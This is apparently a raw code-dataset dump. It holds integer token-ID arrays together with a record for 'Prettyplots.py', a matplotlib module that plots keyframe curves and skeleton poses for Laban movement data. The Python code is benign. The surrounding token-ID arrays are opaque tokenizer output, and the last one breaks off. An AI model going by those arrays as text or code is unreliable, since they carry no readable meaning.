607, 7199, 4637, 310, 697, 13, 539, 2989, 6694, 12541, 29892, 322, 25106, 5717, 313, 262, 1797, 29897, 448, 584, 29885, 621, 18078, 29918, 11083, 29918, 1524, 362, 1673, 13, 539, 584, 29885, 621, 18078, 29918, 1867, 29918, 1524, 362, 29952, 322, 584, 29885, 621, 18078, 29918, 7045, 29918, 1524, 362, 1412, 7849, 310, 278, 3064, 366, 1122, 451, 1996, 13, 539, 20831, 292, 445, 1158, 29892, 2012, 697, 310, 278, 5276, 2211, 3519, 2000, 491, 22507, 29885, 621, 18078, 10568, 1412, 13, 13, 268, 29906, 29889, 584, 29885, 621, 18078, 29918, 1867, 29918, 1524, 362, 1673, 411, 7136, 6694, 2425, 448, 825, 5930, 1432, 12541, 29892, 2183, 263, 13, 539, 4954, 16175, 16159, 515, 278, 1418, 7003, 1664, 445, 770, 8640, 29889, 13, 13, 268, 29941, 29889, 584, 29885, 621, 18078, 29918, 11083, 29918, 1524, 362, 29952, 322, 584, 29885, 621, 18078, 29918, 7045, 29918, 1524, 362, 1673, 363, 738, 758, 29899, 470, 1400, 29899, 19170, 13, 539, 6576, 29889, 13109, 10468, 29901, 13, 13, 4706, 334, 584, 29885, 621, 18078, 29918, 11083, 29918, 1524, 362, 29952, 448, 1246, 4954, 20640, 3950, 29889, 9171, 29918, 5105, 2555, 29952, 13, 4706, 334, 584, 29885, 621, 18078, 29918, 7045, 29918, 1524, 362, 29952, 448, 1246, 4954, 20640, 3950, 29889, 10568, 2555, 29952, 322, 437, 12489, 3377, 12183, 29889, 13, 13, 268, 29946, 29889, 584, 29885, 621, 18078, 7045, 29918, 18157, 1673, 304, 6084, 738, 6576, 1156, 17983, 29889, 13109, 10468, 338, 304, 13, 539, 437, 6509, 6554, 28598, 19478, 322, 1480, 8845, 21556, 373, 12489, 3377, 29889, 13, 13, 1678, 8695, 13, 1678, 448, 807, 13, 1678, 2178, 4733, 526, 421, 3364, 287, 491, 12827, 1673, 577, 896, 1033, 367, 7258, 411, 385, 7029, 6161, 1061, 29889, 13, 1678, 1938, 451, 731, 4954, 1311, 3032, 9794, 353, 2023, 16159, 12214, 1550, 23771, 445, 770, 29889, 13, 13, 1678, 12662, 2699, 13, 1678, 448, 1378, 29899, 13, 1678, 2295, 29901, 12782, 13, 4706, 319, 584, 1990, 18078, 30022, 771, 11197, 23521, 29889, 3991, 29952, 1203, 411, 599, 278, 8018, 5285, 4128, 29889, 13, 1678, 1418, 7003, 1664, 29901, 4842, 305, 29889, 13239, 29889, 1272, 29889, 1469, 10036, 13, 4706, 319, 584, 1990, 18078, 30022, 7345, 305, 29889, 13239, 29889, 1272, 29889, 1469, 10036, 29952, 607, 8128, 9853, 267, 310, 6694, 6455, 29889, 739, 13, 4706, 11463, 567, 697, 310, 584, 1545, 18078, 771, 11197, 23521, 29889, 1272, 29889, 14538, 1691, 29952, 8679, 373, 278, 17983, 8576, 29889, 13, 1678, 4733, 29901, 360, 919, 29961, 710, 29892, 5167, 29961, 15755, 29889, 7355, 5262, 13, 4706, 2178, 278, 4733, 607, 16254, 411, 1269, 916, 2645, 6694, 29889, 4525, 526, 697, 470, 901, 515, 13, 4706, 584, 1545, 18078, 771, 11197, 23521, 29889, 9794, 29952, 8679, 373, 278, 6694, 8576, 29889, 13, 1678, 7797, 2133, 29918, 3972, 29901, 851, 13, 4706, 10802, 304, 263, 3884, 363, 12489, 3377, 12183, 322, 7797, 5281, 1423, 9748, 29889, 13, 1678, 330, 3746, 29918, 4841, 29901, 2391, 29961, 524, 1402, 13136, 313, 4381, 11759, 29900, 2314, 13, 4706, 2391, 310, 22796, 23481, 304, 671, 470, 17983, 29892, 4954, 14352, 29896, 7961, 29952, 448, 671, 10808, 29889, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 13, 4706, 1583, 29892, 13, 4706, 2295, 29901, 12782, 29892, 13, 4706, 1418, 7003, 1664, 29901, 3630, 10036, 29892, 13, 4706, 4733, 29901, 360, 919, 29961, 710, 29892, 302, 29876, 29889, 7355, 1402, 13, 4706, 7797, 2133, 29918, 3972, 29901, 851, 29892, 13, 4706, 330, 3746, 29918, 4841, 29901, 2391, 29961, 524, 29962, 353, 518, 29900, 1402, 13, 268, 1125, 13, 4706, 1583, 3032, 29907, 353, 2295, 13, 13, 4706, 396, 8561, 1418, 7003, 1664, 5094, 28746, 363, 23460, 9853, 267, 25722, 1474, 29889, 13, 4706, 1583, 3032, 29881, 2075, 29877, 1664, 353, 1583, 3032, 23090, 29898, 29881, 2075, 29877, 1664, 29897, 13, 4706, 1583, 3032, 9794, 353, 4733, 13, 13, 4706, 396, 3789, 4742, 5034, 304, 6790, 22796, 18999, 29889, 13, 4706, 1583, 3032, 10141, 353, 4842, 305, 29889, 10141, 29898, 29888, 29908, 29883, 6191, 26254, 29887, 3746, 29918, 4841, 29961, 29900, 29962, 5038, 565, 330, 3746, 29918, 4841, 29961, 29900, 29962, 6736, 29871, 29900, 1683, 376, 21970, 1159, 13, 13, 4706, 396, 1383, 2027, 4733, 304, 4742, 29892, 322, 12244, 297, 3630, 2177, 6553, 363, 14974, 29899, 29954, 7056, 8225, 313, 361, 4312, 467, 13, 4706, 363, 1904, 29918, 978, 297, 1583, 3032, 9794, 29901, 13, 9651, 1583, 3032, 9794, 29961, 4299, 29918, 978, 29962, 353, 1583, 3032, 9794, 29961, 4299, 29918, 978, 1822, 517, 29898, 1311, 3032, 10141, 29897, 13, 13, 9651, 565, 7431, 29898, 29887, 3746, 29918, 4841, 29897, 1405, 29871, 29896, 322, 448, 29896, 451, 297, 330, 3746, 29918, 4841, 29901, 13, 18884, 396, 3872, 29915, 29873, 12244, 304, 3630, 2177, 6553, 565, 2323, 22796, 3553, 470, 448, 29896, 313, 6271, 29965, 29897, 338, 4944, 29889, 13, 18884, 1583, 3032, 9794, 29961, 4299, 29918, 978, 29962, 353, 302, 29876, 29889, 1469, 2177, 6553, 29898, 1311, 3032, 9794, 29961, 4299, 29918, 978, 1402, 330, 3746, 29918, 4841, 29897, 13, 13, 4706, 396, 4831, 398, 5987, 4128, 310, 599, 4733, 304, 3386, 11783, 20693, 326, 3950, 29889, 13, 4706, 599, 29918, 16744, 29901, 2391, 29961, 10773, 29962, 353, 5159, 13, 4706, 363, 1904, 29918, 978, 297, 1583, 3032, 9794, 29901, 13, 9651, 599, 29918, 16744, 29889, 21843, 29898, 1761, 29898, 1311, 3032, 9794, 29961, 4299, 29918, 978, 1822, 16744, 22130, 13, 4706, 1583, 3032, 20640, 3950, 353, 5994, 29889, 3253, 314, 29898, 13, 9651, 599, 29918, 16744, 29892, 301, 29878, 29922, 1311, 3032, 29907, 29889, 14094, 7833, 29889, 29519, 29918, 26019, 25758, 29892, 7688, 29918, 7099, 388, 29922, 1311, 3032, 29907, 29889, 14094, 7833, 29889, 8851, 22530, 29918, 2287, 5454, 29979, 13, 4706, 1723, 13, 13, 4706, 396, 13109, 6509, 6554, 1364, 14952, 29901, 313, 29212, 334, 29922, 330, 2735, 29897, 746, 8900, 12714, 15284, 1485, 363, 13, 4706, 396, 376, 29886, 24701, 29908, 1353, 310, 8845, 6576, 29889, 13, 4706, 1583, 3032, 29212, 29918, 816, 14952, 353, 5994, 29889, 29212, 29918, 816, 14952, 29889, 29934, 6085, 346, 29931, 1672, 29876, 3247, 403, 585, 29898, 13, 9651, 1583, 3032, 20640, 3950, 29892, 13, 9651, 4464, 543, 3317, 613, 13, 9651, 7329, 29922, 1311, 3032, 29907, 29889, 14094, 7833, 29889, 29519, 29918, 29954, 5194, 1529, 29892, 13, 9651, 282, 24701, 29922, 1311, 3032, 29907, 29889, 14094, 7833, 29889, 29519, 29918, 29925, 1299, 29902, 1430, 4741, 29892, 13, 9651, 16897, 29922, 29896, 29872, 29899, 29941, 29892, 13, 4706, 1723, 13, 13, 4706, 396, 323, 6073, 3377, 15837, 9227, 363, 12183, 28495, 322, 21556, 29889, 13, 4706, 1583, 3032, 20158, 3377, 29918, 13236, 353, 6991, 5219, 10507, 29898, 1188, 29918, 3972, 29922, 15550, 2133, 29918, 3972, 29897, 13, 13, 4706, 396, 5399, 3149, 8455, 304, 28755, 1904, 29892, 5994, 3950, 322, 301, 29878, 1364, 14952, 3785, 1711, 29889, 13, 4706, 1583, 3032, 3198, 3149, 29918, 12847, 353, 5399, 3149, 3260, 29898, 13, 9651, 7797, 2133, 29918, 3972, 29922, 15550, 2133, 29918, 3972, 29892, 13, 9651, 3013, 29918, 276, 1760, 29922, 29896, 29900, 29900, 29892, 13, 9651, 5994, 3950, 29922, 1311, 3032, 20640, 3950, 29892, 13, 9651, 1364, 14952, 29922, 1311, 3032, 29212, 29918, 816, 14952, 29892, 13, 9651, 3579, 9794, 29892, 13, 4706, 1723, 13, 4706, 396, 25455, 263, 6795, 304, 3013, 5702, 310, 278, 12541, 1353, 29889, 13, 4706, 396, 910, 3079, 1860, 1432, 2230, 4954, 10568, 16159, 338, 2000, 29889, 13, 4706, 1583, 3032, 1524, 362, 29901, 938, 353, 448, 29896, 13, 13, 1678, 822, 4331, 29898, 1311, 29892, 12541, 29901, 28379, 29961, 524, 29962, 353, 6213, 1125, 13, 4706, 364, 15945, 29908, 13, 4706, 27313, 697, 12541, 310, 6694, 29889, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 12541, 29901, 938, 29892, 13136, 313, 4381, 353, 6213, 29897, 13, 9651, 20504, 362, 1353, 313, 1509, 1319, 304, 2898, 731, 304, 738, 1353, 746, 8363, 1423, 3149, 467, 13, 9651, 960, 4954, 8516, 29952, 1673, 671, 278, 7463, 584, 5552, 18078, 1311, 3032, 1524, 362, 29952, 6795, 29889, 13, 4706, 9995, 13, 4706, 1583, 3032, 11083, 29918, 1524, 362, 580, 13, 13, 4706, 9853, 353, 2446, 29898, 1311, 3032, 29881, 2075, 29877, 1664, 29897, 13, 4706, 1962, 29918, 8977, 353, 1583, 3032, 1867, 29918, 1524, 362, 29898, 16175, 29897, 13, 4706, 1583, 3032, 7045, 29918, 1524, 362, 29898, 4905, 29918, 8977, 29897, 13, 13, 4706, 1583, 3032, 1524, 362, 353, 12541, 470, 1583, 3032, 1524, 362, 718, 29871, 29896, 13, 13, 1678, 822, 903, 11083, 29918, 1524, 362, 29898, 1311, 1125, 13, 4706, 364, 15945, 29908, 13, 4706, 2443, 567, 304, 437, 1434, 2599, 278, 6375, 1209, 310, 12541, 29889, 13109, 6030, 338, 304, 3763, 13, 4706, 1246, 584, 29885, 621, 18078, 9171, 29918, 5105, 29952, 363, 5994, 3950, 29889, 3037, 839, 2768, 584, 29885, 621, 18078, 10568, 1412, 13, 4706, 9995, 13, 4706, 1583, 3032, 20640, 3950, 29889, 9171, 29918, 5105, 580, 13, 13, 1678, 822, 903, 1867, 29918, 1524, 362, 29898, 1311, 29892, 9853, 29901, 360, 919, 29961, 710, 29892, 3139, 2314, 1599, 360, 919, 29961, 710, 29892, 3139, 5387, 13, 4706, 364, 15945, 29908, 13, 4706, 1152, 1328, 322, 1250, 1328, 14517, 373, 4733, 29892, 2183, 263, 9853, 4559, 29881, 515, 1418, 7003, 1664, 29889, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 9853, 29901, 360, 919, 29961, 710, 29892, 3139, 29962, 13, 9651, 319, 9853, 310, 6694, 6455, 4559, 29881, 515, 1418, 7003, 1664, 29889, 2823, 584, 9891, 18078, 10568, 29952, 322, 13, 9651, 584, 29885, 621, 18078, 29918, 23090, 29952, 373, 920, 445, 9853, 338, 4559, 29881, 29889, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 360, 919, 29961, 710, 29892, 3139, 29962, 13, 9651, 530, 1962, 8600, 12234, 4133, 491, 278, 4733, 29889, 910, 723, 367, 4502, 304, 13, 9651, 584, 29885, 621, 18078, 29918, 7045, 29918, 1524, 362, 29952, 363, 12489, 3377, 12183, 29889, 13, 4706, 9995, 13, 4706, 396, 1724, 263, 2323, 12541, 5491, 723, 1106, 763, 29889, 13, 4706, 12541, 29918, 4905, 29918, 8977, 353, 1583, 3032, 9794, 3366, 4299, 29908, 850, 16175, 29897, 13, 4706, 9853, 29918, 6758, 353, 12541, 29918, 4905, 29918, 8977, 3366, 6758, 16862, 12676, 580, 13, 4706, 9853, 29918, 6758, 29889, 1627, 1328, 580, 13, 4706, 736, 8853, 6758, 1115, 9853, 29918, 6758, 29913, 13, 13, 1678, 822, 903, 7045, 29918, 1524, 362, 29898, 1311, 29892, 1962, 29918, 8977, 29901, 360, 919, 29961, 710, 29892, 3139, 29962, 1125, 13, 4706, 364, 15945, 29908, 13, 4706, 2443, 567, 304, 437, 1156, 2599, 278, 6375, 1209, 310, 12541, 29889, 13109, 6030, 338, 304, 3763, 13, 4706, 437, 16030, 2767, 1549, 4954, 20640, 3950, 29889, 10568, 2555, 1673, 322, 1480, 21556, 304, 12489, 3377, 29889, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 1962, 29918, 8977, 29901, 360, 919, 29961, 710, 29892, 3139, 29962, 13, 9651, 910, 338, 3721, 278, 1203, 4133, 491, 584, 29885, 621, 29901, 29918, 1867, 29918, 1524, 362, 1673, 607, 723, 1712, 599, 13, 9651, 278, 3734, 28495, 363, 12489, 3377, 12183, 29889, 13, 4706, 9995, 13, 4706, 1583, 3032, 20640, 3950, 29889, 10568, 580, 13, 13, 4706, 396, 6611, 29901, 8853, 6758, 9092, 718, 2023, 426, 1228, 6611, 1316, 408, 376, 295, 833, 9092, 13, 4706, 363, 1820, 297, 1962, 29918, 8977, 29901, 13, 9651, 565, 338, 8758, 29898, 4905, 29918, 8977, 29961, 1989, 1402, 9657, 1125, 13, 18884, 396, 4803, 4954, 1202, 29918, 19529, 1503, 16159, 363, 9657, 29879, 297, 263, 9322, 4954, 4905, 29918, 8977, 29952, 1412, 13, 18884, 1583, 3032, 20158, 3377, 29918, 13236, 29889, 1202, 29918, 19529, 1503, 29898, 13, 462, 1678, 285, 29908, 14968, 19248, 1989, 17671, 1962, 29918, 8977, 29961, 1989, 1402, 1583, 3032, 1524, 362, 13, 18884, 1723, 13, 9651, 1683, 29901, 13, 18884, 396, 4803, 4954, 1202, 29918, 19529, 279, 16159, 363, 5685, 1446, 847, 5225, 29899, 6229, 25187, 943, 297, 4954, 4905, 29918, 8977, 29952, 1412, 13, 18884, 1583, 3032, 20158, 3377, 29918, 13236, 29889, 1202, 29918, 19529, 279, 29898, 13, 462, 1678, 285, 29908, 14968, 19248, 1989, 17671, 1962, 29918, 8977, 29961, 1989, 1402, 1583, 3032, 1524, 362, 13, 18884, 1723, 13, 13, 1678, 822, 1156, 29918, 18157, 29898, 1311, 29892, 659, 29918, 2527, 10817, 29901, 360, 919, 29961, 710, 29892, 3139, 1402, 12541, 29901, 28379, 29961, 524, 29962, 353, 6213, 1125, 13, 4706, 364, 15945, 29908, 13, 4706, 2443, 567, 304, 437, 1156, 385, 7029, 584, 1990, 18078, 30022, 771, 11197, 23521, 29889, 24219, 4097, 3032, 24219, 1061, 3032, 29923, 4387, 1061, 29952, 23233, 13, 4706, 17983, 29889, 910, 338, 451, 2000, 491, 584, 29885, 621, 18078, 10568, 1673, 1246, 372, 515, 5377, 472, 8210, 931, 29889, 13, 4706, 13109, 6030, 338, 304, 2189, 6509, 6554, 28598, 19478, 29892, 7797, 6619, 292, 1423, 3149, 322, 304, 13, 4706, 1480, 8845, 21556, 304, 12489, 3377, 29889, 13, 13, 4706, 4001, 445, 5314, 15894, 263, 1820, 4954, 29908, 16414, 6937, 29952, 297, 4954, 791, 29918, 2527, 10817, 29952, 1673, 372, 338, 19192, 13, 4706, 304, 731, 445, 1820, 1550, 20831, 292, 445, 1158, 29892, 746, 727, 526, 2999, 4733, 322, 2999, 13, 4706, 21556, 322, 727, 338, 697, 12714, 607, 1602, 2247, 1900, 1423, 3149, 29889, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 659, 29918, 2527, 10817, 29901, 360, 919, 29961, 710, 29892, 3139, 29962, 13, 9651, 15758, 362, 21556, 363, 599, 278, 4733, 29889, 7106, 287, 491, 4954, 24219, 403, 16159, 1158, 310, 13, 9651, 584, 1990, 18078, 30022, 771, 11197, 23521, 29889, 24219, 4097, 3032, 24219, 1061, 3032, 29923, 4387, 1061, 29952, 313, 272, 967, 10410, 770, 467, 13, 4706, 12541, 29901, 938, 29892, 13136, 313, 4381, 353, 6213, 29897, 13, 9651, 20504, 362, 1353, 29889, 960, 4954, 8516, 29952, 1673, 671, 278, 7463, 584, 5552, 18078, 1311, 3032, 1524, 362, 29952, 6795, 29889, 13, 4706, 9995, 13, 4706, 565, 12541, 338, 451, 6213, 29901, 13, 9651, 1583, 3032, 1524, 362, 353, 12541, 13, 13, 4706, 396, 1816, 6646, 1904, 322, 5994, 3950, 322, 3013, 5702, 310, 1900, 1423, 3149, 29889, 13, 4706, 1583, 3032, 3198, 3149, 29918, 12847, 29889, 10568, 29898, 1311, 3032, 1524, 362, 29892, 659, 29918, 2527, 10817, 3366, 16414, 20068, 13, 13, 4706, 396, 27313, 6509, 6554, 28598, 19478, 2729, 373, 8845, 639, 10709, 537, 29889, 13, 4706, 1583, 3032, 29212, 29918, 816, 14952, 29889, 10568, 29898, 791, 29918, 2527, 10817, 3366, 16414, 20068, 13, 13, 4706, 396, 4522, 6509, 6554, 1156, 28598, 19478, 29889, 13, 4706, 1583, 3032, 20158, 3377, 29918, 13236, 29889, 1202, 29918, 19529, 279, 29898, 13, 9651, 376, 14968, 29914, 29212, 613, 1583, 3032, 20640, 3950, 29889, 3207, 29918, 13155, 29961, 29900, 29962, 3366, 29212, 12436, 1583, 3032, 1524, 362, 13, 4706, 1723, 13, 13, 4706, 396, 4522, 599, 8845, 21556, 304, 12489, 3377, 313, 7323, 278, 376, 16414, 29908, 1820, 29892, 607, 471, 871, 8018, 13, 4706, 396, 304, 6509, 6554, 28598, 19478, 322, 1423, 3149, 292, 467, 13, 4706, 659, 29918, 2527, 10817, 29889, 7323, 703, 16414, 1159, 13, 4706, 363, 1904, 29918, 978, 297, 659, 29918, 2527, 10817, 29901, 13, 9651, 363, 12714, 29918, 978, 297, 659, 29918, 2527, 10817, 29961, 4299, 29918, 978, 5387, 13, 18884, 1583, 3032, 20158, 3377, 29918, 13236, 29889, 1202, 29918, 19529, 279, 29898, 13, 462, 1678, 285, 29908, 791, 29914, 2527, 10817, 19248, 4299, 29918, 978, 6822, 29912, 16414, 29918, 978, 17671, 13, 462, 1678, 659, 29918, 2527, 10817, 29961, 4299, 29918, 978, 3816, 16414, 29918, 978, 1402, 13, 462, 1678, 1583, 3032, 1524, 362, 29892, 13, 18884, 1723, 13, 13, 1678, 822, 2254, 29918, 3198, 3149, 29898, 1311, 29892, 1423, 3149, 29918, 2084, 29901, 851, 29892, 12541, 29901, 28379, 29961, 524, 29962, 353, 6213, 1125, 13, 4706, 364, 15945, 29908, 13, 4706, 16012, 263, 1423, 3149, 304, 6773, 6694, 515, 29889, 450, 12541, 746, 445, 1423, 3149, 471, 13, 4706, 7797, 1891, 29892, 338, 10115, 1127, 515, 967, 1024, 313, 578, 437, 451, 19508, 1156, 7797, 2133, 467, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 1423, 3149, 29918, 2084, 29901, 851, 13, 9651, 10802, 304, 263, 1423, 3149, 6943, 4733, 322, 5994, 19427, 310, 278, 8576, 607, 338, 1641, 13, 9651, 16370, 373, 29889, 13, 13, 4706, 12541, 29901, 938, 29892, 13136, 313, 4381, 353, 6213, 29897, 13, 9651, 20504, 362, 1353, 29889, 960, 4954, 8516, 29952, 1673, 679, 372, 515, 278, 1423, 3149, 29889, 13, 4706, 9995, 13, 4706, 903, 1524, 362, 353, 1583, 3032, 3198, 3149, 29918, 12847, 29889, 1359, 29898, 3198, 3149, 29918, 2084, 29897, 13, 13, 4706, 396, 2648, 2322, 29892, 278, 4944, 12541, 975, 24040, 825, 338, 1476, 297, 1423, 3149, 29889, 13, 4706, 12541, 353, 12541, 470, 903, 1524, 362, 13, 4706, 1583, 3032, 1524, 362, 353, 12541, 13, 13, 1678, 822, 903, 23090, 29898, 1311, 29892, 1418, 7003, 1664, 29901, 3630, 10036, 29897, 1599, 3251, 1061, 29961, 21533, 29961, 710, 29892, 4842, 305, 29889, 29911, 6073, 1402, 6213, 29892, 6213, 5387, 13, 4706, 364, 15945, 29908, 13, 4706, 319, 15299, 607, 17498, 263, 4036, 9853, 515, 1418, 7003, 1664, 25722, 1474, 29889, 910, 15299, 338, 13, 4706, 1304, 297, 278, 5823, 29889, 13, 13, 4706, 7338, 2760, 6991, 5219, 13, 4706, 448, 9072, 5634, 13, 4706, 910, 338, 2309, 577, 1363, 591, 7945, 363, 263, 4343, 1353, 310, 24372, 29892, 322, 437, 451, 505, 278, 13, 4706, 17837, 310, 525, 1022, 2878, 29879, 4286, 5293, 4954, 1524, 8504, 29889, 23090, 16159, 411, 1418, 7003, 1664, 338, 10311, 1319, 322, 1122, 4556, 13, 4706, 443, 735, 412, 1133, 3370, 454, 10327, 29889, 13, 4706, 9995, 13, 4706, 1550, 5852, 29901, 13, 9651, 363, 9853, 297, 1418, 7003, 1664, 29901, 13, 18884, 363, 1820, 297, 9853, 29901, 13, 462, 1678, 9853, 29961, 1989, 29962, 353, 9853, 29961, 1989, 1822, 517, 29898, 1311, 3032, 10141, 29897, 13, 18884, 7709, 9853, 13, 13, 1678, 732, 6799, 13, 1678, 822, 12541, 29898, 1311, 1125, 13, 4706, 736, 1583, 3032, 1524, 362, 13, 13, 1678, 732, 6799, 13, 1678, 822, 4733, 29898, 1311, 1125, 13, 4706, 736, 1583, 3032, 9794, 13, 2 ]
02 laban data/lmadatagen/lmadatagen/Prettyplots.py
SMC7-2019/ASDF-RNN
4
1605453
<filename>02 laban data/lmadatagen/lmadatagen/Prettyplots.py #!/usr/bin/env python # coding: utf-8 # In[1]: import numpy as np import matplotlib.pyplot as plt from matplotlib.lines import Line2D # In[2]: joint_hier = [ ('head', 'neck', 'blue'), ('neck', 'root', 'darkred'), ('root', 'clavicle', 'brown'), ('neck', 'leftShoulder', 'red'), ('leftShoulder', 'leftElbow', 'darkred'), ('leftElbow', 'leftWrist', 'orange'), ('neck', 'rightShoulder', 'orange'), ('rightShoulder', 'rightElbow', 'lightgreen'), ('rightElbow', 'rightWrist', 'green'), ('clavicle', 'leftHip', 'green'), ('leftHip', 'leftKnee', 'lightgreen'), ('leftKnee', 'leftAnkle', 'lightblue'), ('clavicle', 'rightHip', 'lightblue'), ('rightHip', 'rightKnee', 'cyan'), ('rightKnee', 'rightAnkle', 'blue') ] # In[3]: def plt_keyframe_curve(ax, keyframes, curve): curve = curve / np.amax(curve) ax.plot(range(0, len(curve)), curve, 'r', alpha=0.9) ax.scatter(keyframes, curve[keyframes], color='k', marker="$F$") ax.set_xlim(0, len(curve)) ax.set_ylim(0.0, 1.2) ax.set(xlabel='Samples [fs=30]') ax.set(ylabel=r'Normalized angle $\theta$, $\theta$ $\epsilon$ [0, $\pi$]') ax.legend(['Curve', 'Keyframe']) # In[4]: def plt_keyframe_skeleton(ax, keyframes, positions, scale=200.): pos = positions pos['root'] = np.zeros_like(pos['head']) pos['neck'] = (pos['leftShoulder'] + pos['rightShoulder']) / 2. pos['clavicle'] = (pos['leftHip'] + pos['rightHip']) / 2. for frame in keyframes: lines = [] for f, t, c in joint_hier: p1 = pos[f][frame] p2 = pos[t][frame] x = [p1[0]*scale + frame, p2[0]*scale + frame] y = [p1[1], p2[1]] lines.append(Line2D(x, y, color=c)) ax.scatter(x, y, color=c, alpha=0.9) for l in lines: ax.add_line(l) ax.set_xlim(min(keyframes) - scale//10, max(keyframes) + scale//10) ax.set_ylim(scale, -scale) #ax.set_ylim(0.5*scale, -0.25*scale) ax.set_xticks(tuple(keyframes)) ax.set_xticklabels(keyframes) ax.set(xlabel='Keyframes') # In[ ]:
[ 1, 529, 9507, 29958, 29900, 29906, 9775, 273, 848, 29914, 29880, 19581, 271, 5370, 29914, 29880, 19581, 271, 5370, 29914, 6572, 4349, 26762, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 14137, 29901, 23616, 29899, 29947, 13, 13, 29937, 512, 29961, 29896, 5387, 13, 13, 13, 5215, 12655, 408, 7442, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 3166, 22889, 29889, 9012, 1053, 7407, 29906, 29928, 13, 13, 13, 29937, 512, 29961, 29906, 5387, 13, 13, 13, 12090, 29918, 29882, 631, 353, 518, 13, 1678, 6702, 2813, 742, 525, 484, 384, 742, 525, 9539, 5477, 13, 1678, 6702, 484, 384, 742, 525, 4632, 742, 525, 26031, 1127, 5477, 13, 1678, 6702, 4632, 742, 525, 29883, 4112, 2512, 742, 525, 29890, 4708, 5477, 13, 1678, 6702, 484, 384, 742, 525, 1563, 26857, 261, 742, 525, 1127, 5477, 29871, 13, 1678, 6702, 1563, 26857, 261, 742, 525, 1563, 6489, 17729, 742, 525, 26031, 1127, 5477, 29871, 13, 1678, 6702, 1563, 6489, 17729, 742, 525, 1563, 29956, 2021, 742, 525, 272, 927, 5477, 13, 1678, 6702, 484, 384, 742, 525, 1266, 26857, 261, 742, 525, 272, 927, 5477, 29871, 13, 1678, 6702, 1266, 26857, 261, 742, 525, 1266, 6489, 17729, 742, 525, 4366, 12692, 5477, 29871, 13, 1678, 6702, 1266, 6489, 17729, 742, 525, 1266, 29956, 2021, 742, 525, 12692, 5477, 13, 1678, 6702, 29883, 4112, 2512, 742, 525, 1563, 29950, 666, 742, 525, 12692, 5477, 29871, 13, 1678, 6702, 1563, 29950, 666, 742, 525, 1563, 29968, 484, 29872, 742, 525, 4366, 12692, 5477, 29871, 13, 1678, 6702, 1563, 29968, 484, 29872, 742, 525, 1563, 2744, 29895, 280, 742, 525, 4366, 9539, 5477, 13, 1678, 6702, 29883, 4112, 2512, 742, 525, 1266, 29950, 666, 742, 525, 4366, 9539, 5477, 29871, 13, 1678, 6702, 1266, 29950, 666, 742, 525, 1266, 29968, 484, 29872, 742, 525, 1270, 273, 5477, 29871, 13, 1678, 6702, 1266, 29968, 484, 29872, 742, 525, 1266, 2744, 29895, 280, 742, 525, 9539, 1495, 13, 29962, 13, 13, 13, 29937, 512, 29961, 29941, 5387, 13, 13, 13, 1753, 14770, 29918, 1989, 2557, 29918, 2764, 345, 29898, 1165, 29892, 1820, 19935, 29892, 11672, 1125, 13, 1678, 11672, 353, 11672, 847, 7442, 29889, 314, 1165, 29898, 2764, 345, 29897, 13, 1678, 4853, 29889, 5317, 29898, 3881, 29898, 29900, 29892, 7431, 29898, 2764, 345, 8243, 11672, 29892, 525, 29878, 742, 15595, 29922, 29900, 29889, 29929, 29897, 13, 1678, 4853, 29889, 1557, 2620, 29898, 1989, 19935, 29892, 11672, 29961, 1989, 19935, 1402, 2927, 2433, 29895, 742, 17456, 18965, 29943, 29938, 1159, 13, 1678, 4853, 29889, 842, 29918, 29916, 2576, 29898, 29900, 29892, 7431, 29898, 2764, 345, 876, 13, 1678, 4853, 29889, 842, 29918, 29891, 2576, 29898, 29900, 29889, 29900, 29892, 29871, 29896, 29889, 29906, 29897, 13, 1678, 4853, 29889, 842, 29898, 29916, 1643, 2433, 29903, 9422, 518, 5847, 29922, 29941, 29900, 29962, 1495, 13, 1678, 4853, 29889, 842, 29898, 29891, 1643, 29922, 29878, 29915, 19077, 1891, 10696, 779, 3416, 1628, 779, 3416, 29938, 779, 5463, 29938, 518, 29900, 29892, 779, 1631, 29938, 29962, 1495, 13, 1678, 4853, 29889, 26172, 18959, 23902, 345, 742, 525, 2558, 2557, 11287, 13, 13, 13, 29937, 512, 29961, 29946, 5387, 13, 13, 13, 1753, 14770, 29918, 1989, 2557, 29918, 26050, 11285, 29898, 1165, 29892, 1820, 19935, 29892, 11909, 29892, 6287, 29922, 29906, 29900, 29900, 9575, 13, 1678, 926, 353, 11909, 13, 1678, 926, 1839, 4632, 2033, 353, 7442, 29889, 3298, 359, 29918, 4561, 29898, 1066, 1839, 2813, 11287, 13, 1678, 926, 1839, 484, 384, 2033, 353, 313, 1066, 1839, 1563, 26857, 261, 2033, 718, 926, 1839, 1266, 26857, 261, 11287, 847, 29871, 29906, 29889, 13, 1678, 926, 1839, 29883, 4112, 2512, 2033, 353, 313, 1066, 1839, 1563, 29950, 666, 2033, 718, 926, 1839, 1266, 29950, 666, 11287, 847, 29871, 29906, 29889, 13, 268, 13, 1678, 363, 3515, 297, 1820, 19935, 29901, 13, 4706, 3454, 353, 5159, 13, 4706, 363, 285, 29892, 260, 29892, 274, 297, 14002, 29918, 29882, 631, 29901, 13, 9651, 282, 29896, 353, 926, 29961, 29888, 3816, 2557, 29962, 13, 9651, 282, 29906, 353, 926, 29961, 29873, 3816, 2557, 29962, 13, 9651, 921, 353, 518, 29886, 29896, 29961, 29900, 14178, 7052, 718, 3515, 29892, 282, 29906, 29961, 29900, 14178, 7052, 718, 3515, 29962, 13, 9651, 343, 353, 518, 29886, 29896, 29961, 29896, 1402, 282, 29906, 29961, 29896, 5262, 13, 9651, 3454, 29889, 4397, 29898, 3542, 29906, 29928, 29898, 29916, 29892, 343, 29892, 2927, 29922, 29883, 876, 13, 9651, 4853, 29889, 1557, 2620, 29898, 29916, 29892, 343, 29892, 2927, 29922, 29883, 29892, 15595, 29922, 29900, 29889, 29929, 29897, 13, 632, 13, 4706, 363, 301, 297, 3454, 29901, 13, 9651, 4853, 29889, 1202, 29918, 1220, 29898, 29880, 29897, 13, 308, 13, 1678, 4853, 29889, 842, 29918, 29916, 2576, 29898, 